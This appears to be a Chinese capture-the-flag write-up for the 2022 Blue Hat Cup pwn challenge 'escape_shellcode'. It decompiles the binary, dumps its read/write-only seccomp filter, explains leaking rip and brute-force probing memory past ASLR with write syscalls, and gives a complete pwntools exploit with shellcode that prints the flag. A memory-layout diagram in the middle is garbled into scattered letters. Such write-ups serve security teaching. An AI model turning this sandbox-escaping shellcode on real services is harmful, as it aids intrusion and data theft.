2022 蓝帽杯 Pwn escape_shellcode

布鲁特福斯惊呼内行!

程序很简单.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
undefined8 main(int argc, char **argv, char **envp)
{
    int64_t var_18h;
    int64_t var_10h;
    int64_t var_4h;
    
    sym.init_io();
    sym.init_mem();
    sym.init_flag();
    sym.sandbox();
    sym.go();
    return 0;
}

init_io:

1
2
3
4
5
6
7
void sym.init_io(void)
{
    sym.imp.setbuf(_reloc.stdin, 0);
    sym.imp.setbuf(_reloc.stdout, 0);
    sym.imp.setbuf(_reloc.stderr, 0);
    return;
}

init_mem:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void sym.init_mem(void)
{
    undefined8 uVar1;
    undefined8 *puVar2;
    
    _obj.heap_mem = (undefined8 *)sym.imp.malloc(0x1000);
    sym.imp.mprotect((uint64_t)_obj.heap_mem & 0xfffffffffffff000, 0x2000, 7);
    puVar2 = _obj.heap_mem;
    uVar1 = *(undefined8 *)0x4028;
    *_obj.heap_mem = _obj.pre_shellcode;
    puVar2[1] = uVar1;
    uVar1 = *(undefined8 *)0x4038;
    puVar2[2] = *(undefined8 *)0x4030;
    puVar2[3] = uVar1;
    uVar1 = *(undefined8 *)0x4048;
    puVar2[4] = *(undefined8 *)0x4040;
    puVar2[5] = uVar1;
    uVar1 = *(undefined8 *)0x4058;
    puVar2[6] = *(undefined8 *)0x4050;
    puVar2[7] = uVar1;
    uVar1 = *(undefined8 *)0x4068;
    puVar2[8] = *(undefined8 *)0x4060;
    puVar2[9] = uVar1;
    uVar1 = *(undefined8 *)0x4078;
    puVar2[10] = *(undefined8 *)0x4070;
    puVar2[0xb] = uVar1;
    uVar1 = *(undefined8 *)0x4088;
    puVar2[0xc] = *(undefined8 *)0x4080;
    puVar2[0xd] = uVar1;
    uVar1 = *(undefined8 *)0x4098;
    puVar2[0xe] = *(undefined8 *)0x4090;
    puVar2[0xf] = uVar1;
    uVar1 = *(undefined8 *)0x40a8;
    puVar2[0x10] = *(undefined8 *)0x40a0;
    puVar2[0x11] = uVar1;
    uVar1 = *(undefined8 *)0x40b8;
    puVar2[0x12] = *(undefined8 *)0x40b0;
    puVar2[0x13] = uVar1;
    puVar2[0x14] = *(undefined8 *)0x40c0;
    *(undefined2 *)(puVar2 + 0x15) = *(undefined2 *)0x40c8;
    *(undefined *)((int64_t)puVar2 + 0xaa) = *(undefined *)0x40ca;
    return;
}

init_map 首先开了一个大小为 0x100 的堆空间, 将堆的起始地址赋值给全局变量 heap_mem. 然后设置这段内存的属性为可读可写可执行 (rwx, 7). 之后讲有初值的全局变量 pre_shellcode 复制到 heap_mem 上.

pre_shellcode 为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
                ;-- pre_shellcode:
0x00004020      movabs rax, 0xdeadbeefdeadbeef
0x0000402a      movabs rbx, 0xdeadbeefdeadbeef
0x00004034      movabs rcx, 0xdeadbeefdeadbeef
0x0000403e      movabs rdx, 0xdeadbeefdeadbeef
0x00004048      movabs rdi, 0xdeadbeefdeadbeef
0x00004052      movabs rsi, 0xdeadbeefdeadbeef
0x0000405c      movabs r8, 0xdeadbeefdeadbeef
0x00004066      movabs r9, 0xdeadbeefdeadbeef
0x00004070      movabs r10, 0xdeadbeefdeadbeef
0x0000407a      movabs r11, 0xdeadbeefdeadbeef
0x00004084      movabs r12, 0xdeadbeefdeadbeef
0x0000408e      movabs r13, 0xdeadbeefdeadbeef
0x00004098      movabs r14, 0xdeadbeefdeadbeef
0x000040a2      movabs r15, 0xdeadbeefdeadbeef
0x000040ac      movabs rbp, 0xdeadbeefdeadbeef
0x000040b6      movabs r15, 0xdeadbeefdeadbeef
0x000040c0      movabs rsp, 0xdeadbeefdeadbeef

init_flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void sym.init_flag(void)
{
    int32_t iVar1;
    int fildes;
    
    iVar1 = sym.imp.open("/flag", 0);
    if (iVar1 < 1) {
        sym.imp.puts("/flag is not found.");
        sym.imp.exit(0);
    }
    sym.imp.read(iVar1, obj.flag, 0x80);
    sym.imp.close(iVar1);
    return;
}

打开 /flag, 读取到 flag 中. 查看 flag 为 .bss 节中的变量, 大小 0x100.

sandbox:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void sym.sandbox(void)
{
    undefined8 uVar1;
    int64_t var_8h;
    
    uVar1 = sym.imp.seccomp_init(0);
    sym.imp.seccomp_rule_add(uVar1, 0x7fff0000, 1, 0);
    sym.imp.seccomp_rule_add(uVar1, 0x7fff0000, 0, 0);
    sym.imp.seccomp_load(uVar1);
    return;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
seccomp-tools dump ./escape_shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

注意要先保证 /flag 存在, 否则 seccomp-tools 检测不到 sandbox. seccomp-tools 的原理大概是运行时确定 sandbox, 所以一定要让程序执行到 seccomp. 这个程序如果打开 /flag 失败就退出了, 没有执行 seccomp.

可以看见, 只开启了 read 和 write 的系统调用.

go:

1
2
3
4
5
6
void sym.go(void)
{
    sym.imp.read(0, _obj.heap_mem + 0xaa, 0x100);
    (*_obj.heap_mem)();
    return;
}

在 heap_mem 写入了 pre_shellcode 之后, 读入 0x100 的数据, 然后执行 shellcode.

当程序执行到 go 里面, 进而跳转到 heap_mem 执行, 然后会将几乎寄存器的值赋为 0xdeadbeefdeadbeef. rip 和一些其他非通用寄存器除外. 那么大致的思路就是确定 .bss 上的 flag 的位置, 然后 read 到 stdout.

检查保护:

1
2
3
4
5
6
7
checksec ./escape_shellcode
[*] '/home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

开了 PIE, 也就是我们没法直接得到 .bss 的地址.

回顾进程的虚拟内存布局:

l i m b a K e , n e S m d . . R r t o l H . d t e n a r a s e b a e s e c y r o a s t x e l k g p s a t r m e o v a n e p h d e a p r r r a a a 0 n s n s n P x d t d t d I 7 o a o a o E F m c m r m F k t b F s _ m _ b a F t t m b k s F a o a k r e F c p p r F k o F o f F o f f F f f s F f s e s e t e t t

由于 heap_mem 大小为 0x100, 所以它是在 Heap 段中的. rip 可以泄漏 Heap 地址.

rip 不能当成通用寄存器操作, 但有方法把它的值赋给其他通用寄存器. 这里有两种方法泄漏.

  1. 相对 rip 寻址.

相对 rip 寻址是 Intel 64 位 CPU 新增的寻址方式, 32 位的 CPU 没有这个功能.

lea rax, [rip] 即可将 rip 的值赋给 rax.

  1. syscall

syscall 返回时, 会将 rax 设置为返回值, rcx 设置为中断返回地址 (其他寄存器的值不变). 也就是 rcx 即为中断返回后, 现在的 rip 值.

还有一种和 rip 无关的方法: 利用 fs 中存储的结构.

fs 中存的是 TLS 的地址, TLS 中存了一个 TCB 的地址, TCB 中存了一个当前线程的 Heap 地址. 调试可得. 这里就不写了. (其实是没有找到结构长啥样, 不想找了, 调试了一下没啥问题)

syscall 在发生错误时, 并不会使得程序结束, 而是返回错误代码的返回值. 如 rax 返回为 -0xe 之类的. 也就是说, 我们可以直接爆破 read .bss 的内容.

由于 ASLR, Heap 和 .bss 中间会有一段偏移. 这个偏移虽然是随机的, 但是是有一定范围的. 通过阅读 Linux 源代码阅读别人的博客 (Linux ASLR的实现)可以知道, start_bkr 首先被设置为 .bss 下一页的值, 然后取 [old_start_brk, old_start_brk+0x2000000)中页面对齐的值. 也就是说, 相对 .bss 结尾, 最大偏移可能达到 0x1000 (页大小) + 0x2000000 (随机偏移的最大值) = 0x2001000.

调试一下程序, 最开始可读的段到数据段的偏移是 4 个页面的大小, 也就是 0x4000. (.bss 装载的时候一起装在数据段中). 那么 start_bkr 到最开始可读的段, 偏移最大为 0x2001000 + 0x4000 = 0x2005000. rwx 的堆一共 2 个页面, 也就是 0x2000. 所以, rip - 0x2007000 一定在可读的程序段之下.

1
2
3
4
5
6
7
8
9
0x000055a00aef0000 - 0x000055a00aef1000 - usr     4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym..symtab
0x000055a00aef1000 - 0x000055a00aef2000 * usr     4K s r-x /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym._init
0x000055a00aef2000 - 0x000055a00aef3000 - usr     4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; obj._IO_stdin_used
0x000055a00aef3000 - 0x000055a00aef4000 - usr     4K s r-- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; map.home_wings_CTF_contest_2022_bluehat_pwn_escape_shellcod_escape_shellcode.rw
0x000055a00aef4000 - 0x000055a00aef5000 - usr     4K s rw- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; loc.__data_start
0x000055a00aef5000 - 0x000055a00aef7000 - usr     8K s rw- /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode /home/wings/CTF/contest/2022-bluehat/pwn/escape_shellcod/escape_shellcode ; sym..dynsym
0x000055a00ccad000 - 0x000055a00ccaf000 - usr     8K s rwx [heap] [heap]
0x000055a00ccaf000 - 0x000055a00ccce000 - usr   124K s rw- [heap] [heap]
...

(其实不用算的这么准确, 直接减去 0x3000000 做也是可以的)

然后写一个这样的程序 (伪代码):

1
2
3
4
5
6
7
8
for (r8 = rip - 0x2007000; rax <= 0; r8 += 0x200) {
  rax = 1;
  rsi = r8;
  rdi = 1;
  rdx = 0x200
  syscall;
}
r8 -= 0x200;

0x200 是尝试输出的字符, 大小不要超过一个页面, 也没必要太小.

整体思路是, 向上步进, 直到找到具有 read 权限的段, 也就是 sym..symtab, 假设为 0x000055a00aef0000 (就是上面的调试的例子). r8 的可能取值是 [0x000055a00aef0000, 0x000055a00aef0200]. 由于页映射的原因, 后 12 位应该是确定的值. 调试确定后 12 位为 0x151.

然后根据 flag 到 .symtab+0x151 的偏移, 为 0x3fcf 跳转到 flag 的位置输出即可.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch='amd64', log_level='debug')

io = process('./escape_shellcode')

shellcode='''
lea r8, [rip]
sub r8,0x2007000
a:
  mov rax,1
  mov rsi,r8
  mov rdi,1
  mov rdx,0x200
  syscall
  add r8,0x200
cmp rax,0
jng a
sub r8, 0x200
add r8, 0x3fcf
mov rsi, r8
mov rax,1
syscall
'''
io.sendline(asm(shellcode))
io.recvuntil(b'flag{')
flag = b'flag{' + io.recvuntil(b'}')
print(flag)